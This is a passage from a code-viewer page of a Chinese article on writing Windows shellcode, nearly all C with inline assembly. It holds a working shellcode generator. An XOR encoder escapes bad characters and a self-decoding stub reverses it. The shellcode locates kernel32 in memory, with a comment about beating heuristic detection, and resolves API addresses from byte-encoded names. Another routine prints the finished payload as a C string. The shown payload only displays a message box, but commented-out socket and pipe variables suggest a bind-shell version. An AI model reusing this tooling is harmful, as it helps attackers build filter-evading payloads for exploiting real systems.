?? 關于windows下shellcode編寫的一點思考.txt
字號:
if (k<MAX_Enc_Len) pSc_addr+=(k+8); //如找到定位實際代碼的開始
*/
//找到shellcode的結尾及長度
for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;
if (k<MAX_Sc_Len) Sc_len=k;
else
{
k=0;
printf("\nNo End str defined in ShellCodes function!Please Check....\n");
return 0;
}
//把shellcode代碼復制進sc_buff
memcpy(sc_buff,pSc_addr,Sc_len);
//把字符串拷貝在shellcode的結尾
for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;
if(i>=MAX_api_strlen)
{
printf("\nNo End str defined in API strings!Please Check....\n");
return 0;
}
memcpy(sc_buff+k,ApiStr,i);
Sc_len+=i; //增加shellcode的長度
//
//對shellcode進行編碼算法簡單,可根據需要改變
//
k=EncCode_len+nop_LEN; //定位緩沖區應存放ShellCode地址的開始
for(i=0;i<Sc_len;++i){
ch=sc_buff[i]^Enc_key;
//對一些可能造成shellcode失效的字符進行替換
if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
{
buff[k]='0';
++k;
ch+=0x31;
}
//把編碼過的shellcode放在DecryptSc代碼后面
buff[k]=ch;
++k;
}
//shellcode的總長度
buff_len=k;
//打印出shellcode
PrintSc(buff,buff_len);
//buff[buff_len]=0;
//printf("%s",buff);
#ifdef DEBUG
_asm{
lea eax,buff
jmp eax
ret
}
#endif
return 0;
}
//解碼shellcode的代碼
void DecryptSc()
{
__asm{
/////////////////////////
//定義開始標志
/////////////////////////
PROC_BEGIN //C macro to begin proc
jmp next
getEncCodeAddr:
pop edi
push edi
pop esi
xor ecx,ecx
Decrypt_lop:
lodsb
cmp al,cl
jz shell
cmp al,0x30 //判斷是否為特殊字符
jz special_char_clean
store:
xor al,Enc_key
stosb
jmp Decrypt_lop
special_char_clean:
lodsb
sub al,0x31
jmp store
next:
call getEncCodeAddr
//其余真正加密的shellcode代碼會連接在此處
shell:
/////////////////////////
//定義結束標志
/////////////////////////
PROC_END //C macro to end proc
}
}
//
//shellcode代碼
//
void ShellCodes()
{
//API低址數組
FARPROC API[API_num];
//自己獲取的API地址
FARPROC GetProcAddr;
FARPROC LoadLib;
HANDLE hKrnl32;
HANDLE libhandle;
char *ApiStr_addr,*p;
int k;
u_short shellcodeport;
//測試用變量
char *testAddr;
/*
STARTUPINFO siinfo;
SOCKET listenFD,clientFD;
struct sockaddr_in server;
int iAddrSize = sizeof(server);
int lBytesRead;
PROCESS_INFORMATION ProcessInformation;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
SECURITY_ATTRIBUTES sa;
*/
_asm {
jmp locate_addr0
getApiStr_addr:
pop ApiStr_addr
//開始獲取API的地址以及GetProcAddress和LoadLibraryA的地址
//以后就可以方便地獲取任何API的地址了
//保護寄存器
pushad
xor esi,esi
lods dword ptr fs:[esi]
Search_Krnl32_lop:
inc eax
je Krnl32_Base_Ok
dec eax
xchg esi,eax
LODSD
jmp Search_Krnl32_lop
Krnl32_Base_Ok:
LODSD
;compare if PE_hdr
xchg esi,eax
find_pe_header:
dec esi
xor si,si ;kernel32 is 64kb align
mov eax,[esi]
add ax,-'ZM' ;
jne find_pe_header
mov edi,[esi+3ch] ;.e_lfanew
mov eax,[esi+edi]
add eax,-'EP' ;anti heuristic change this if you are using MASM etc.
jne find_pe_header
push esi
;esi=VA Kernel32.BASE
;edi=RVA K32.pehdr
mov ebx,esi
mov edi,[ebx+edi+78h] ;peh.DataDirectory
push edi
push esi
mov eax,[ebx+edi+20h] ;peexc.AddressOfNames
mov edx,[ebx+edi+24h] ;peexc.AddressOfNameOrdinals
call __getProcAddr
_emit 0x47
_emit 0x65
_emit 0x74
_emit 0x50
_emit 0x72
_emit 0x6F
_emit 0x63
_emit 0x41
_emit 0x64
_emit 0x64
_emit 0x72
_emit 0x65
_emit 0x73
_emit 0x73
_emit 0x0
//db "GetProcAddress",0
__getProcAddr:
pop edi
mov ecx,15
sub eax,4
next_:
add eax,4
add edi,ecx
sub edi,15
mov esi,[ebx+eax]
add esi,ebx
mov ecx,15
repz cmpsb
jnz next_
pop esi
pop edi
sub eax,[ebx+edi+20h] ;peexc.AddressOfNames
shr eax,1
add edx,ebx
movzx eax,word ptr [edx+eax]
add esi,[ebx+edi+1ch] ;peexc.AddressOfFunctions
add ebx,[esi+eax*4] ;ebx=Kernel32.GetProcAddress.addr
;use GetProcAddress and hModule to get other func
pop esi ;esi=kernel32 Base
mov [hKrnl32],esi //保存
mov [GetProcAddr],ebx //保存
call _getLoadLib
_emit 0x4C
_emit 0x6F
_emit 0x61
_emit 0x64
_emit 0x4C
_emit 0x69
_emit 0x62
_emit 0x72
_emit 0x61
_emit 0x72
_emit 0x79
_emit 0x41
_emit 0x0
//db "LoadLibraryA",0
_getLoadLib:
push esi
call ebx
mov [LoadLib],eax
//恢復寄存器,避免更多問題
popad
}
//取出定義的端口地址
shellcodeport=*(u_short *)ApiStr_addr;
ApiStr_addr+=2;
////////////////////////////////測試用
testAddr=ApiStr_addr;
////////////////////////////////////
//利用GetProcAddress來獲得shellcode中所用到的API地址
libhandle=hKrnl32;
p=ApiStr_addr;
k=0;
///*
while ( *((unsigned int *)p) != 0)
{
ApiStr_addr=p;
while(*p) p++; //前進到下一個字符串
if (*( (unsigned int *)(p-4))=='lld.')
{
libhandle=(HANDLE)LoadLib(ApiStr_addr); //若為DLL則加載DLL
}
else
{
API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
k++;
}
ApiStr_addr=++p; //更新指針前進一個字符位置
}
//*/
///////////////////////////////////////////////////////////////////////////
// 下面就可以使用C語言來編寫真正實現功能的shellcode了 //
///////////////////////////////////////////////////////////////////////////
//
//簡單測試幾個API看是否復合要求
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///////////////////////////////////////////////////////////////////////////
// shellcode功能部分結束 //
///////////////////////////////////////////////////////////////////////////
//死循環
die:
goto die;
__asm
{
locate_addr0:
call getApiStr_addr //5 bytes
//真正的字符串數據要連接在此處
/////////////////////////
//定義結束標志
/////////////////////////
PROC_END //C macro to end proc
}
}
//
//顯示打印生成的shellcode的C string格式代碼
//
void PrintSc(char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
for(i=0;i<buffsize;i++)
{
if((i%16)==0)
if(i!=0)
printf("\"\n\"");
else
printf("\"");
sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
for( p = msg, j=0; j < 4; p++, j++ )
{
if(isupper(*p))
printf("%c", _tolower(*p));
else
printf("%c", p[0]);
}
}
printf("\";\n/*Shell total are %d bytes */\n",buffsize);
}
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -